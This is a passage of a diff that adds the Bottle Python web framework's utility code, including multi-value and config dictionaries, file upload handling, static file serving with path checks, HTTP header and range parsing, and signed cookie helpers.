isinstance(rv.body, dict): + rv.body = dumps(rv.body) + rv.content_type = 'application/json' + return rv + + return wrapper + + +class TemplatePlugin(object): + """ This plugin applies the :func:`view` decorator to all routes with a + `template` config parameter. If the parameter is a tuple, the second + element must be a dict with additional options (e.g. `template_engine`) + or default variables for the template. """ + name = 'template' + api = 2 + + def setup(self, app): + app.tpl = self + + def apply(self, callback, route): + conf = route.config.get('template') + if isinstance(conf, (tuple, list)) and len(conf) == 2: + return view(conf[0], **conf[1])(callback) + elif isinstance(conf, str): + return view(conf)(callback) + else: + return callback + + +#: Not a plugin, but part of the plugin API. TODO: Find a better place. +class _ImportRedirect(object): + def __init__(self, name, impmask): + """ Create a virtual package that redirects imports (see PEP 302). """ + self.name = name + self.impmask = impmask + self.module = sys.modules.setdefault(name, new_module(name)) + self.module.__dict__.update({ + '__file__': __file__, + '__path__': [], + '__all__': [], + '__loader__': self + }) + sys.meta_path.append(self) + + def find_spec(self, fullname, path, target=None): + if '.' not in fullname: return + if fullname.rsplit('.', 1)[0] != self.name: return + from importlib.util import spec_from_loader + return spec_from_loader(fullname, self) + + def find_module(self, fullname, path=None): + if '.' not in fullname: return + if fullname.rsplit('.', 1)[0] != self.name: return + return self + + def create_module(self, spec): + return self.load_module(spec.name) + + def exec_module(self, module): + pass # This probably breaks importlib.reload() :/ + + def load_module(self, fullname): + if fullname in sys.modules: return sys.modules[fullname] + modname = fullname.rsplit('.', 1)[1] + realname = self.impmask % modname + __import__(realname) + module = sys.modules[fullname] = sys.modules[realname] + setattr(self.module, modname, module) + module.__loader__ = self + return module + +############################################################################### +# Common Utilities ############################################################# +############################################################################### + + +class MultiDict(DictMixin): + """ This dict stores multiple values per key, but behaves exactly like a + normal dict in that it returns only the newest value for any given key. + There are special methods available to access the full list of values. + """ + + def __init__(self, *a, **k): + self.dict = dict((k, [v]) for (k, v) in dict(*a, **k).items()) + + def __len__(self): + return len(self.dict) + + def __iter__(self): + return iter(self.dict) + + def __contains__(self, key): + return key in self.dict + + def __delitem__(self, key): + del self.dict[key] + + def __getitem__(self, key): + return self.dict[key][-1] + + def __setitem__(self, key, value): + self.append(key, value) + + def keys(self): + return self.dict.keys() + + if py3k: + + def values(self): + return (v[-1] for v in self.dict.values()) + + def items(self): + return ((k, v[-1]) for k, v in self.dict.items()) + + def allitems(self): + return ((k, v) for k, vl in self.dict.items() for v in vl) + + iterkeys = keys + itervalues = values + iteritems = items + iterallitems = allitems + + else: + + def values(self): + return [v[-1] for v in self.dict.values()] + + def items(self): + return [(k, v[-1]) for k, v in self.dict.items()] + + def iterkeys(self): + return self.dict.iterkeys() + + def itervalues(self): + return (v[-1] for v in self.dict.itervalues()) + + def iteritems(self): + return ((k, v[-1]) for k, v in self.dict.iteritems()) + + def iterallitems(self): + return ((k, v) for k, vl in self.dict.iteritems() for v in vl) + + def allitems(self): + return [(k, v) for k, vl in self.dict.iteritems() for v in vl] + + def get(self, key, default=None, index=-1, type=None): + """ Return the most recent value for a key. + + :param default: The default value to be returned if the key is not + present or the type conversion fails. + :param index: An index for the list of available values. + :param type: If defined, this callable is used to cast the value + into a specific type. Exception are suppressed and result in + the default value to be returned. + """ + try: + val = self.dict[key][index] + return type(val) if type else val + except Exception: + pass + return default + + def append(self, key, value): + """ Add a new value to the list of values for this key. """ + self.dict.setdefault(key, []).append(value) + + def replace(self, key, value): + """ Replace the list of values with a single value. """ + self.dict[key] = [value] + + def getall(self, key): + """ Return a (possibly empty) list of values for a key. """ + return self.dict.get(key) or [] + + #: Aliases for WTForms to mimic other multi-dict APIs (Django) + getone = get + getlist = getall + + +class FormsDict(MultiDict): + """ This :class:`MultiDict` subclass is used to store request form data. + Additionally to the normal dict-like item access methods (which return + unmodified data as native strings), this container also supports + attribute-like access to its values. Attributes are automatically de- + or recoded to match :attr:`input_encoding` (default: 'utf8'). Missing + attributes default to an empty string. """ + + #: Encoding used for attribute values. + input_encoding = 'utf8' + #: If true (default), unicode strings are first encoded with `latin1` + #: and then decoded to match :attr:`input_encoding`. + recode_unicode = True + + def _fix(self, s, encoding=None): + if isinstance(s, unicode) and self.recode_unicode: # Python 3 WSGI + return s.encode('latin1').decode(encoding or self.input_encoding) + elif isinstance(s, bytes): # Python 2 WSGI + return s.decode(encoding or self.input_encoding) + else: + return s + + def decode(self, encoding=None): + """ Returns a copy with all keys and values de- or recoded to match + :attr:`input_encoding`. Some libraries (e.g. WTForms) want a + unicode dictionary. """ + copy = FormsDict() + enc = copy.input_encoding = encoding or self.input_encoding + copy.recode_unicode = False + for key, value in self.allitems(): + copy.append(self._fix(key, enc), self._fix(value, enc)) + return copy + + def getunicode(self, name, default=None, encoding=None): + """ Return the value as a unicode string, or the default. """ + try: + return self._fix(self[name], encoding) + except (UnicodeError, KeyError): + return default + + def __getattr__(self, name, default=unicode()): + # Without this guard, pickle generates a cryptic TypeError: + if name.startswith('__') and name.endswith('__'): + return super(FormsDict, self).__getattr__(name) + return self.getunicode(name, default=default) + +class HeaderDict(MultiDict): + """ A case-insensitive version of :class:`MultiDict` that defaults to + replace the old value instead of appending it. """ + + def __init__(self, *a, **ka): + self.dict = {} + if a or ka: self.update(*a, **ka) + + def __contains__(self, key): + return _hkey(key) in self.dict + + def __delitem__(self, key): + del self.dict[_hkey(key)] + + def __getitem__(self, key): + return self.dict[_hkey(key)][-1] + + def __setitem__(self, key, value): + self.dict[_hkey(key)] = [_hval(value)] + + def append(self, key, value): + self.dict.setdefault(_hkey(key), []).append(_hval(value)) + + def replace(self, key, value): + self.dict[_hkey(key)] = [_hval(value)] + + def getall(self, key): + return self.dict.get(_hkey(key)) or [] + + def get(self, key, default=None, index=-1): + return MultiDict.get(self, _hkey(key), default, index) + + def filter(self, names): + for name in (_hkey(n) for n in names): + if name in self.dict: + del self.dict[name] + + +class WSGIHeaderDict(DictMixin): + """ This dict-like class wraps a WSGI environ dict and provides convenient + access to HTTP_* fields. Keys and values are native strings + (2.x bytes or 3.x unicode) and keys are case-insensitive. If the WSGI + environment contains non-native string values, these are de- or encoded + using a lossless 'latin1' character set. + + The API will remain stable even on changes to the relevant PEPs. + Currently PEP 333, 444 and 3333 are supported. (PEP 444 is the only one + that uses non-native strings.) + """ + #: List of keys that do not have a ``HTTP_`` prefix. + cgikeys = ('CONTENT_TYPE', 'CONTENT_LENGTH') + + def __init__(self, environ): + self.environ = environ + + def _ekey(self, key): + """ Translate header field name to CGI/WSGI environ key. """ + key = key.replace('-', '_').upper() + if key in self.cgikeys: + return key + return 'HTTP_' + key + + def raw(self, key, default=None): + """ Return the header value as is (may be bytes or unicode). """ + return self.environ.get(self._ekey(key), default) + + def __getitem__(self, key): + val = self.environ[self._ekey(key)] + if py3k: + if isinstance(val, unicode): + val = val.encode('latin1').decode('utf8') + else: + val = val.decode('utf8') + return val + + def __setitem__(self, key, value): + raise TypeError("%s is read-only." % self.__class__) + + def __delitem__(self, key): + raise TypeError("%s is read-only." % self.__class__) + + def __iter__(self): + for key in self.environ: + if key[:5] == 'HTTP_': + yield _hkey(key[5:]) + elif key in self.cgikeys: + yield _hkey(key) + + def keys(self): + return [x for x in self] + + def __len__(self): + return len(self.keys()) + + def __contains__(self, key): + return self._ekey(key) in self.environ + +_UNSET = object() + +class ConfigDict(dict): + """ A dict-like configuration storage with additional support for + namespaces, validators, meta-data and overlays. + + This dict-like class is heavily optimized for read access. + Read-only methods and item access should be as fast as a native dict. + """ + + __slots__ = ('_meta', '_change_listener', '_overlays', '_virtual_keys', '_source', '__weakref__') + + def __init__(self): + self._meta = {} + self._change_listener = [] + #: Weak references of overlays that need to be kept in sync. + self._overlays = [] + #: Config that is the source for this overlay. + self._source = None + #: Keys of values copied from the source (values we do not own) + self._virtual_keys = set() + + def load_module(self, name, squash=True): + """Load values from a Python module. + + Import a python module by name and add all upper-case module-level + variables to this config dict. + + :param name: Module name to import and load. + :param squash: If true (default), nested dicts are assumed to + represent namespaces and flattened (see :meth:`load_dict`). + """ + config_obj = load(name) + obj = {key: getattr(config_obj, key) + for key in dir(config_obj) if key.isupper()} + + if squash: + self.load_dict(obj) + else: + self.update(obj) + return self + + def load_config(self, filename, **options): + """ Load values from ``*.ini`` style config files using configparser. + + INI style sections (e.g. ``[section]``) are used as namespace for + all keys within that section. Both section and key names may contain + dots as namespace separators and are converted to lower-case. + + The special sections ``[bottle]`` and ``[ROOT]`` refer to the root + namespace and the ``[DEFAULT]`` section defines default values for all + other sections. + + :param filename: The path of a config file, or a list of paths. + :param options: All keyword parameters are passed to the underlying + :class:`python:configparser.ConfigParser` constructor call. + + """ + options.setdefault('allow_no_value', True) + if py3k: + options.setdefault('interpolation', + configparser.ExtendedInterpolation()) + conf = configparser.ConfigParser(**options) + conf.read(filename) + for section in conf.sections(): + for key in conf.options(section): + value = conf.get(section, key) + if section not in ('bottle', 'ROOT'): + key = section + '.' + key + self[key.lower()] = value + return self + + def load_dict(self, source, namespace=''): + """ Load values from a dictionary structure. Nesting can be used to + represent namespaces. + + >>> c = ConfigDict() + >>> c.load_dict({'some': {'namespace': {'key': 'value'} } }) + {'some.namespace.key': 'value'} + """ + for key, value in source.items(): + if isinstance(key, basestring): + nskey = (namespace + '.' + key).strip('.') + if isinstance(value, dict): + self.load_dict(value, namespace=nskey) + else: + self[nskey] = value + else: + raise TypeError('Key has type %r (not a string)' % type(key)) + return self + + def update(self, *a, **ka): + """ If the first parameter is a string, all keys are prefixed with this + namespace. Apart from that it works just as the usual dict.update(). + + >>> c = ConfigDict() + >>> c.update('some.namespace', key='value') + """ + prefix = '' + if a and isinstance(a[0], basestring): + prefix = a[0].strip('.') + '.' + a = a[1:] + for key, value in dict(*a, **ka).items(): + self[prefix + key] = value + + def setdefault(self, key, value=None): + if key not in self: + self[key] = value + return self[key] + + def __setitem__(self, key, value): + if not isinstance(key, basestring): + raise TypeError('Key has type %r (not a string)' % type(key)) + + self._virtual_keys.discard(key) + + value = self.meta_get(key, 'filter', lambda x: x)(value) + if key in self and self[key] is value: + return + + self._on_change(key, value) + dict.__setitem__(self, key, value) + + for overlay in self._iter_overlays(): + overlay._set_virtual(key, value) + + def __delitem__(self, key): + if key not in self: + raise KeyError(key) + if key in self._virtual_keys: + raise KeyError("Virtual keys cannot be deleted: %s" % key) + + if self._source and key in self._source: + # Not virtual, but present in source -> Restore virtual value + dict.__delitem__(self, key) + self._set_virtual(key, self._source[key]) + else: # not virtual, not present in source. This is OUR value + self._on_change(key, None) + dict.__delitem__(self, key) + for overlay in self._iter_overlays(): + overlay._delete_virtual(key) + + def _set_virtual(self, key, value): + """ Recursively set or update virtual keys. """ + if key in self and key not in self._virtual_keys: + return # Do nothing for non-virtual keys. + + self._virtual_keys.add(key) + if key in self and self[key] is not value: + self._on_change(key, value) + dict.__setitem__(self, key, value) + for overlay in self._iter_overlays(): + overlay._set_virtual(key, value) + + def _delete_virtual(self, key): + """ Recursively delete virtual entry. """ + if key not in self._virtual_keys: + return # Do nothing for non-virtual keys. + + if key in self: + self._on_change(key, None) + dict.__delitem__(self, key) + self._virtual_keys.discard(key) + for overlay in self._iter_overlays(): + overlay._delete_virtual(key) + + def _on_change(self, key, value): + for cb in self._change_listener: + if cb(self, key, value): + return True + + def _add_change_listener(self, func): + self._change_listener.append(func) + return func + + def meta_get(self, key, metafield, default=None): + """ Return the value of a meta field for a key. """ + return self._meta.get(key, {}).get(metafield, default) + + def meta_set(self, key, metafield, value): + """ Set the meta field for a key to a new value. + + Meta-fields are shared between all members of an overlay tree. + """ + self._meta.setdefault(key, {})[metafield] = value + + def meta_list(self, key): + """ Return an iterable of meta field names defined for a key. """ + return self._meta.get(key, {}).keys() + + def _define(self, key, default=_UNSET, help=_UNSET, validate=_UNSET): + """ (Unstable) Shortcut for plugins to define own config parameters. """ + if default is not _UNSET: + self.setdefault(key, default) + if help is not _UNSET: + self.meta_set(key, 'help', help) + if validate is not _UNSET: + self.meta_set(key, 'validate', validate) + + def _iter_overlays(self): + for ref in self._overlays: + overlay = ref() + if overlay is not None: + yield overlay + + def _make_overlay(self): + """ (Unstable) Create a new overlay that acts like a chained map: Values + missing in the overlay are copied from the source map. Both maps + share the same meta entries. + + Entries that were copied from the source are called 'virtual'. You + can not delete virtual keys, but overwrite them, which turns them + into non-virtual entries. Setting keys on an overlay never affects + its source, but may affect any number of child overlays. + + Other than collections.ChainMap or most other implementations, this + approach does not resolve missing keys on demand, but instead + actively copies all values from the source to the overlay and keeps + track of virtual and non-virtual keys internally. This removes any + lookup-overhead. Read-access is as fast as a build-in dict for both + virtual and non-virtual keys. + + Changes are propagated recursively and depth-first. A failing + on-change handler in an overlay stops the propagation of virtual + values and may result in an partly updated tree. Take extra care + here and make sure that on-change handlers never fail. + + Used by Route.config + """ + # Cleanup dead references + self._overlays[:] = [ref for ref in self._overlays if ref() is not None] + + overlay = ConfigDict() + overlay._meta = self._meta + overlay._source = self + self._overlays.append(weakref.ref(overlay)) + for key in self: + overlay._set_virtual(key, self[key]) + return overlay + + + + +class AppStack(list): + """ A stack-like list. Calling it returns the head of the stack. """ + + def __call__(self): + """ Return the current default application. """ + return self.default + + def push(self, value=None): + """ Add a new :class:`Bottle` instance to the stack """ + if not isinstance(value, Bottle): + value = Bottle() + self.append(value) + return value + new_app = push + + @property + def default(self): + try: + return self[-1] + except IndexError: + return self.push() + + +class WSGIFileWrapper(object): + def __init__(self, fp, buffer_size=1024 * 64): + self.fp, self.buffer_size = fp, buffer_size + for attr in 'fileno', 'close', 'read', 'readlines', 'tell', 'seek': + if hasattr(fp, attr): setattr(self, attr, getattr(fp, attr)) + + def __iter__(self): + buff, read = self.buffer_size, self.read + part = read(buff) + while part: + yield part + part = read(buff) + + +class _closeiter(object): + """ This only exists to be able to attach a .close method to iterators that + do not support attribute assignment (most of itertools). """ + + def __init__(self, iterator, close=None): + self.iterator = iterator + self.close_callbacks = makelist(close) + + def __iter__(self): + return iter(self.iterator) + + def close(self): + for func in self.close_callbacks: + func() + + +class ResourceManager(object): + """ This class manages a list of search paths and helps to find and open + application-bound resources (files). + + :param base: default value for :meth:`add_path` calls. + :param opener: callable used to open resources. + :param cachemode: controls which lookups are cached. One of 'all', + 'found' or 'none'. + """ + + def __init__(self, base='./', opener=open, cachemode='all'): + self.opener = opener + self.base = base + self.cachemode = cachemode + + #: A list of search paths. See :meth:`add_path` for details. + self.path = [] + #: A cache for resolved paths. ``res.cache.clear()`` clears the cache. + self.cache = {} + + def add_path(self, path, base=None, index=None, create=False): + """ Add a new path to the list of search paths. Return False if the + path does not exist. + + :param path: The new search path. Relative paths are turned into + an absolute and normalized form. If the path looks like a file + (not ending in `/`), the filename is stripped off. + :param base: Path used to absolutize relative search paths. + Defaults to :attr:`base` which defaults to ``os.getcwd()``. + :param index: Position within the list of search paths. Defaults + to last index (appends to the list). + + The `base` parameter makes it easy to reference files installed + along with a python module or package:: + + res.add_path('./resources/', __file__) + """ + base = os.path.abspath(os.path.dirname(base or self.base)) + path = os.path.abspath(os.path.join(base, os.path.dirname(path))) + path += os.sep + if path in self.path: + self.path.remove(path) + if create and not os.path.isdir(path): + os.makedirs(path) + if index is None: + self.path.append(path) + else: + self.path.insert(index, path) + self.cache.clear() + return os.path.exists(path) + + def __iter__(self): + """ Iterate over all existing files in all registered paths. """ + search = self.path[:] + while search: + path = search.pop() + if not os.path.isdir(path): continue + for name in os.listdir(path): + full = os.path.join(path, name) + if os.path.isdir(full): search.append(full) + else: yield full + + def lookup(self, name): + """ Search for a resource and return an absolute file path, or `None`. + + The :attr:`path` list is searched in order. The first match is + returned. Symlinks are followed. The result is cached to speed up + future lookups. """ + if name not in self.cache or DEBUG: + for path in self.path: + fpath = os.path.join(path, name) + if os.path.isfile(fpath): + if self.cachemode in ('all', 'found'): + self.cache[name] = fpath + return fpath + if self.cachemode == 'all': + self.cache[name] = None + return self.cache[name] + + def open(self, name, mode='r', *args, **kwargs): + """ Find a resource and return a file object, or raise IOError. """ + fname = self.lookup(name) + if not fname: raise IOError("Resource %r not found." % name) + return self.opener(fname, mode=mode, *args, **kwargs) + + +class FileUpload(object): + def __init__(self, fileobj, name, filename, headers=None): + """ Wrapper for a single file uploaded via ``multipart/form-data``. """ + #: Open file(-like) object (BytesIO buffer or temporary file) + self.file = fileobj + #: Name of the upload form field + self.name = name + #: Raw filename as sent by the client (may contain unsafe characters) + self.raw_filename = filename + #: A :class:`HeaderDict` with additional headers (e.g. content-type) + self.headers = HeaderDict(headers) if headers else HeaderDict() + + content_type = HeaderProperty('Content-Type') + content_length = HeaderProperty('Content-Length', reader=int, default=-1) + + def get_header(self, name, default=None): + """ Return the value of a header within the multipart part. """ + return self.headers.get(name, default) + + @cached_property + def filename(self): + """ Name of the file on the client file system, but normalized to ensure + file system compatibility. An empty filename is returned as 'empty'. + + Only ASCII letters, digits, dashes, underscores and dots are + allowed in the final filename. Accents are removed, if possible. + Whitespace is replaced by a single dash. Leading or tailing dots + or dashes are removed. The filename is limited to 255 characters. + """ + fname = self.raw_filename + if not isinstance(fname, unicode): + fname = fname.decode('utf8', 'ignore') + fname = normalize('NFKD', fname) + fname = fname.encode('ASCII', 'ignore').decode('ASCII') + fname = os.path.basename(fname.replace('\\', os.path.sep)) + fname = re.sub(r'[^a-zA-Z0-9-_.\s]', '', fname).strip() + fname = re.sub(r'[-\s]+', '-', fname).strip('.-') + return fname[:255] or 'empty' + + def _copy_file(self, fp, chunk_size=2 ** 16): + read, write, offset = self.file.read, fp.write, self.file.tell() + while 1: + buf = read(chunk_size) + if not buf: break + write(buf) + self.file.seek(offset) + + def save(self, destination, overwrite=False, chunk_size=2 ** 16): + """ Save file to disk or copy its content to an open file(-like) object. + If *destination* is a directory, :attr:`filename` is added to the + path. Existing files are not overwritten by default (IOError). + + :param destination: File path, directory or file(-like) object. + :param overwrite: If True, replace existing files. (default: False) + :param chunk_size: Bytes to read at a time. (default: 64kb) + """ + if isinstance(destination, basestring): # Except file-likes here + if os.path.isdir(destination): + destination = os.path.join(destination, self.filename) + if not overwrite and os.path.exists(destination): + raise IOError('File exists.') + with open(destination, 'wb') as fp: + self._copy_file(fp, chunk_size) + else: + self._copy_file(destination, chunk_size) + +############################################################################### +# Application Helper ########################################################### +############################################################################### + + +def abort(code=500, text='Unknown Error.'): + """ Aborts execution and causes a HTTP error. """ + raise HTTPError(code, text) + + +def redirect(url, code=None): + """ Aborts execution and causes a 303 or 302 redirect, depending on + the HTTP protocol version. """ + if not code: + code = 303 if request.get('SERVER_PROTOCOL') == "HTTP/1.1" else 302 + res = response.copy(cls=HTTPResponse) + res.status = code + res.body = "" + res.set_header('Location', urljoin(request.url, url)) + raise res + + +def _rangeiter(fp, offset, limit, bufsize=1024 * 1024): + """ Yield chunks from a range in a file. """ + fp.seek(offset) + while limit > 0: + part = fp.read(min(limit, bufsize)) + if not part: + break + limit -= len(part) + yield part + + +def static_file(filename, root, + mimetype=True, + download=False, + charset='UTF-8', + etag=None, + headers=None): + """ Open a file in a safe way and return an instance of :exc:`HTTPResponse` + that can be sent back to the client. + + :param filename: Name or path of the file to send, relative to ``root``. + :param root: Root path for file lookups. Should be an absolute directory + path. + :param mimetype: Provide the content-type header (default: guess from + file extension) + :param download: If True, ask the browser to open a `Save as...` dialog + instead of opening the file with the associated program. You can + specify a custom filename as a string. If not specified, the + original filename is used (default: False). + :param charset: The charset for files with a ``text/*`` mime-type. + (default: UTF-8) + :param etag: Provide a pre-computed ETag header. If set to ``False``, + ETag handling is disabled. (default: auto-generate ETag header) + :param headers: Additional headers dict to add to the response. + + While checking user input is always a good idea, this function provides + additional protection against malicious ``filename`` parameters from + breaking out of the ``root`` directory and leaking sensitive information + to an attacker. + + Read-protected files or files outside of the ``root`` directory are + answered with ``403 Access Denied``. Missing files result in a + ``404 Not Found`` response. Conditional requests (``If-Modified-Since``, + ``If-None-Match``) are answered with ``304 Not Modified`` whenever + possible. ``HEAD`` and ``Range`` requests (used by download managers to + check or continue partial downloads) are also handled automatically. + """ + + root = os.path.join(os.path.abspath(root), '') + filename = os.path.abspath(os.path.join(root, filename.strip('/\\'))) + headers = headers.copy() if headers else {} + getenv = request.environ.get + + if not filename.startswith(root): + return HTTPError(403, "Access denied.") + if not os.path.exists(filename) or not os.path.isfile(filename): + return HTTPError(404, "File does not exist.") + if not os.access(filename, os.R_OK): + return HTTPError(403, "You do not have permission to access this file.") + + if mimetype is True: + name = download if isinstance(download, str) else filename + mimetype, encoding = mimetypes.guess_type(name) + if encoding == 'gzip': + mimetype = 'application/gzip' + elif encoding: # e.g. bzip2 -> application/x-bzip2 + mimetype = 'application/x-' + encoding + + if charset and mimetype and 'charset=' not in mimetype \ + and (mimetype[:5] == 'text/' or mimetype == 'application/javascript'): + mimetype += '; charset=%s' % charset + + if mimetype: + headers['Content-Type'] = mimetype + + if download is True: + download = os.path.basename(filename) + + if download: + download = download.replace('"','') + headers['Content-Disposition'] = 'attachment; filename="%s"' % download + + stats = os.stat(filename) + headers['Content-Length'] = clen = stats.st_size + headers['Last-Modified'] = email.utils.formatdate(stats.st_mtime, usegmt=True) + headers['Date'] = email.utils.formatdate(time.time(), usegmt=True) + + if etag is None: + etag = '%d:%d:%d:%d:%s' % (stats.st_dev, stats.st_ino, stats.st_mtime, + clen, filename) + etag = hashlib.sha1(tob(etag)).hexdigest() + + if etag: + headers['ETag'] = etag + check = getenv('HTTP_IF_NONE_MATCH') + if check and check == etag: + return HTTPResponse(status=304, **headers) + + ims = getenv('HTTP_IF_MODIFIED_SINCE') + if ims: + ims = parse_date(ims.split(";")[0].strip()) + if ims is not None and ims >= int(stats.st_mtime): + return HTTPResponse(status=304, **headers) + + body = '' if request.method == 'HEAD' else open(filename, 'rb') + + headers["Accept-Ranges"] = "bytes" + range_header = getenv('HTTP_RANGE') + if range_header: + ranges = list(parse_range_header(range_header, clen)) + if not ranges: + return HTTPError(416, "Requested Range Not Satisfiable") + offset, end = ranges[0] + rlen = end - offset + headers["Content-Range"] = "bytes %d-%d/%d" % (offset, end - 1, clen) + headers["Content-Length"] = str(rlen) + if body: body = _closeiter(_rangeiter(body, offset, rlen), body.close) + return HTTPResponse(body, status=206, **headers) + return HTTPResponse(body, **headers) + +############################################################################### +# HTTP Utilities and MISC (TODO) ############################################### +############################################################################### + + +def debug(mode=True): + """ Change the debug level. + There is only one debug level supported at the moment.""" + global DEBUG + if mode: warnings.simplefilter('default') + DEBUG = bool(mode) + + +def http_date(value): + if isinstance(value, basestring): + return value + if isinstance(value, datetime): + # aware datetime.datetime is converted to UTC time + # naive datetime.datetime is treated as UTC time + value = value.utctimetuple() + elif isinstance(value, datedate): + # datetime.date is naive, and is treated as UTC time + value = value.timetuple() + if not isinstance(value, (int, float)): + # convert struct_time in UTC to UNIX timestamp + value = calendar.timegm(value) + return email.utils.formatdate(value, usegmt=True) + + +def parse_date(ims): + """ Parse rfc1123, rfc850 and asctime timestamps and return UTC epoch. """ + try: + ts = email.utils.parsedate_tz(ims) + return calendar.timegm(ts[:8] + (0, )) - (ts[9] or 0) + except (TypeError, ValueError, IndexError, OverflowError): + return None + + +def parse_auth(header): + """ Parse rfc2617 HTTP authentication header string (basic) and return (user,pass) tuple or None""" + try: + method, data = header.split(None, 1) + if method.lower() == 'basic': + user, pwd = touni(base64.b64decode(tob(data))).split(':', 1) + return user, pwd + except (KeyError, ValueError): + return None + + +def parse_range_header(header, maxlen=0): + """ Yield (start, end) ranges parsed from a HTTP Range header. Skip + unsatisfiable ranges. The end index is non-inclusive.""" + if not header or header[:6] != 'bytes=': return + ranges = [r.split('-', 1) for r in header[6:].split(',') if '-' in r] + for start, end in ranges: + try: + if not start: # bytes=-100 -> last 100 bytes + start, end = max(0, maxlen - int(end)), maxlen + elif not end: # bytes=100- -> all but the first 99 bytes + start, end = int(start), maxlen + else: # bytes=100-200 -> bytes 100-200 (inclusive) + start, end = int(start), min(int(end) + 1, maxlen) + if 0 <= start < end <= maxlen: + yield start, end + except ValueError: + pass + + +#: Header tokenizer used by _parse_http_header() +_hsplit = re.compile('(?:(?:"((?:[^"\\\\]|\\\\.)*)")|([^;,=]+))([;,=]?)').findall + +def _parse_http_header(h): + """ Parses a typical multi-valued and parametrised HTTP header (e.g. Accept headers) and returns a list of values + and parameters. For non-standard or broken input, this implementation may return partial results. + :param h: A header string (e.g. ``text/html,text/plain;q=0.9,*/*;q=0.8``) + :return: List of (value, params) tuples. The second element is a (possibly empty) dict. + """ + values = [] + if '"' not in h: # INFO: Fast path without regexp (~2x faster) + for value in h.split(','): + parts = value.split(';') + values.append((parts[0].strip(), {})) + for attr in parts[1:]: + name, value = attr.split('=', 1) + values[-1][1][name.strip().lower()] = value.strip() + else: + lop, key, attrs = ',', None, {} + for quoted, plain, tok in _hsplit(h): + value = plain.strip() if plain else quoted.replace('\\"', '"') + if lop == ',': + attrs = {} + values.append((value, attrs)) + elif lop == ';': + if tok == '=': + key = value + else: + attrs[value.strip().lower()] = '' + elif lop == '=' and key: + attrs[key.strip().lower()] = value + key = None + lop = tok + return values + + +def _parse_qsl(qs): + r = [] + for pair in qs.split('&'): + if not pair: continue + nv = pair.split('=', 1) + if len(nv) != 2: nv.append('') + key = urlunquote(nv[0].replace('+', ' ')) + value = urlunquote(nv[1].replace('+', ' ')) + r.append((key, value)) + return r + + +def _lscmp(a, b): + """ Compares two strings in a cryptographically safe way: + Runtime is not affected by length of common prefix. """ + return not sum(0 if x == y else 1 + for x, y in zip(a, b)) and len(a) == len(b) + + +def cookie_encode(data, key, digestmod=None): + """ Encode and sign a pickle-able object. Return a (byte) string """ + depr(0, 13, "cookie_encode() will be removed soon.", + "Do not use this API directly.") + digestmod = digestmod or hashlib.sha256 + msg = base64.b64encode(pickle.dumps(data, -1)) + sig = base64.b64encode(hmac.new(tob(key), msg, digestmod=digestmod).digest()) + return tob('!') + sig + tob('?') + msg + + +def cookie_decode(data, key, digestmod=None): + """ Verify and decode an encoded string. Return an object or None.""" + depr(0, 13, "cookie_decode() will be removed soon.", + "Do not use this API directly.") + data = tob(data) + if cookie_is_encoded(data): + sig, msg = data.split(tob('?'), 1) + digestmod = digestmod or hashlib.sha256 + hashed = hmac.new(tob(key), msg, digestmod=digestmod).digest() + if _lscmp(sig[1:], base64.b64encode(hashed)): + return pickle.loads(base64.b64decode(msg)) + return None + + +def cookie_is_encoded(data): + """ Return True if the argument looks like a encoded cookie.""" + depr(0, 13, "cookie_is_encoded() will be removed soon.", + "Do not use this API directly.") + return bool(data.startswith(tob('!')) and tob('?') in data) + + +def html_escape(string): + """ Escape HTML special characters ``&<>`` and quotes ``'"``. """ + return string.replace('&', '&').replace('<', '<').replace('>', '>')\ + .replace('"', '"').replace("'", ''') + + +def html_quote(string): + """ Escape and quote a string to be used as an HTTP attribute.""" + return '"%s"' % html_escape(string).replace('\n', ' ')\ + .replace('\r', ' ').replace('\t', ' ') + + +def yieldroutes(func): + """ Return a generator for routes that match the signature (name, args) + of the func parameter. This may yield more than one route if the function + takes optional keyword arguments. The output is best described by example:: + + a() -> '/a' + b(x, y) -> '/b/<x>/<y>' + c(x, y=5) -> '/c/<x>' and '/c/<x>/<y>' + d(x=5, y=6) -> '/d' and '/d/<x>' and '/d/<x>/<y>' + """ + path = '/' + func.__name__.replace('__', '/').lstrip('/') + spec = getargspec(func) + argc = len(spec[0]) - len(spec[3] or []) + path += ('/<%s>' * argc) % tuple(spec[0][:argc]) + yield path + for arg in spec[0][argc:]: + path += '/<%s>' % arg + yield path + + +def path_shift(script_name, path_info, shift=1): + """ Shift path fragments from PATH_INFO to SCRIPT_NAME and vice versa. + + :return: The modified paths. + :param script_name: The SCRIPT_NAME path. + :param script_name: The PATH_INFO path. + :param shift: The number of path fragments to shift. May be negative to + change the shift direction. (default: 1) + """ + if shift == 0: return script_name, path_info + pathlist = path_info.strip('/').split('/') + scriptlist = script_name.strip('/').split('/') + if pathlist and pathlist[0] == '': pathlist = [] + if scriptlist and scriptlist[0] == '': scriptlist = [] + if 0 < shift <= len(pathlist): + moved = pathlist[:shift] + scriptlist = scriptlist + moved + pathlist = pathlist[shift:] + elif 0 > shift >= -len(scriptlist): + moved = scriptlist[shift:] + pathlist = moved + pathlist + scriptlist = scriptlist[:shift] + else: + empty = 'SCRIPT_NAME' if shift < 0 else 'PATH_INFO' + raise AssertionError("Cannot shift. Nothing left from %s" % empty) + new_script_name = '/' + '/'.join(scriptlist) + new_path_info = '/' + '/'.join(pathlist) + if path_info.endswith('/') and pathlist: new_path_info += '/' + return new_script_name, new_path_info + + +def auth_basic(check, realm="private", text="Access denied"): + """ Callback decorator to require HTTP auth (basic). + TODO: Add route(check_auth=...) parameter. """ + + def decorator(func): + + @functools.wraps(func) + def wrapper(*a, **ka): + user, password = request.auth or (None, None) + if user is None or not check(user, password): + err = HTTPError(401, text) + err.add_header('WWW-Authenticate', 'Basic realm="%s"' % realm) + return err + return func(*a, **ka) + + return wrapper + + return decorator + +# Shortcuts for common Bottle methods. +# They all refer to the current default application. + + +def make_default_app_wrapper(name): + """ Return a callable that relays calls to the current default app. """ + + @functools.wraps(getattr(Bottle, name)) + def wrapper(*a, **ka): + return getattr(app(), name)(*a, **ka) + + return wrapper + + +route = make_default_app_wrapper('route') +get = make_default_app_wrapper('get') +post = make_default_app_wrapper('post') +put = make_default_app_wrapper('put') +delete = make_default_app_wrapper('delete') +patch = make_default_app_wrapper('patch') +error = make_default_app_wrapper('error') +mount = make_default_app_wrapper('mount') +hook = make_default_app_wrapper('hook') +install = make_default_app_wrapper('install') +uninstall = make_default_app_wrapper('uninstall') +url = make_default_app_wrapper('get_url') + + +############################################################################### +# Multipart Handling ########################################################### +############################################################################### +# cgi.FieldStorage was deprecated in Python 3.11 and removed in 3.13 +# This implementation is based on https://github.com/defnull/multipart/ 